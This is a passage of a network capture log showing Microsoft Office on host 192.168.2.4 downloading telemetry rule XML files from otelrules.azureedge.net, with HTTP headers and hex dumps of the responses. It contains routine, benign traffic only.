2024-11-20 03:08:10 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	62436	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:10 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:10 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:10 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030810Z-185f5d8b95c68cvnhC1NYCfn7s00000009ng00000000dhar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:10 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	62437	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:10 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:10 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030810Z-1777c6cb754j8gqphC1TEB5bf8000000090g000000001t8t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:10 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	62438	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:10 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:10 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:10 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c9ccbc18-001e-0014-5cf1-3a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030810Z-185f5d8b95ctl8xlhC1NYCn94g00000009sg000000007b3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:10 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	62440	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:11 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-185f5d8b95c9mqtvhC1NYCghtc00000009r000000000cbsk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	62439	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-r1d97b99577tssmjhC1TEB8kan000000086g000000007ra3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:11 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	62441	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-r1d97b99577n4dznhC1TEBc1qw000000089g00000000augw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	62442	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-r1d97b99577jlrkbhC1TEBq8d0000000088g000000000fzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	62443	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-1777c6cb754lvj6mhC1TEBke94000000095g000000000gtt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	62445	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-r1d97b9957747b9jhC1TEBgyec00000008fg000000001k5a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:11 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	62444	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-185f5d8b95c4bhwphC1NYCs8gw00000009r000000000nua2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:11 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	62446	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:12 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:11 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030811Z-1777c6cb7542p5p4hC1TEBq09800000008wg00000000rg7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	62447	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:11 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
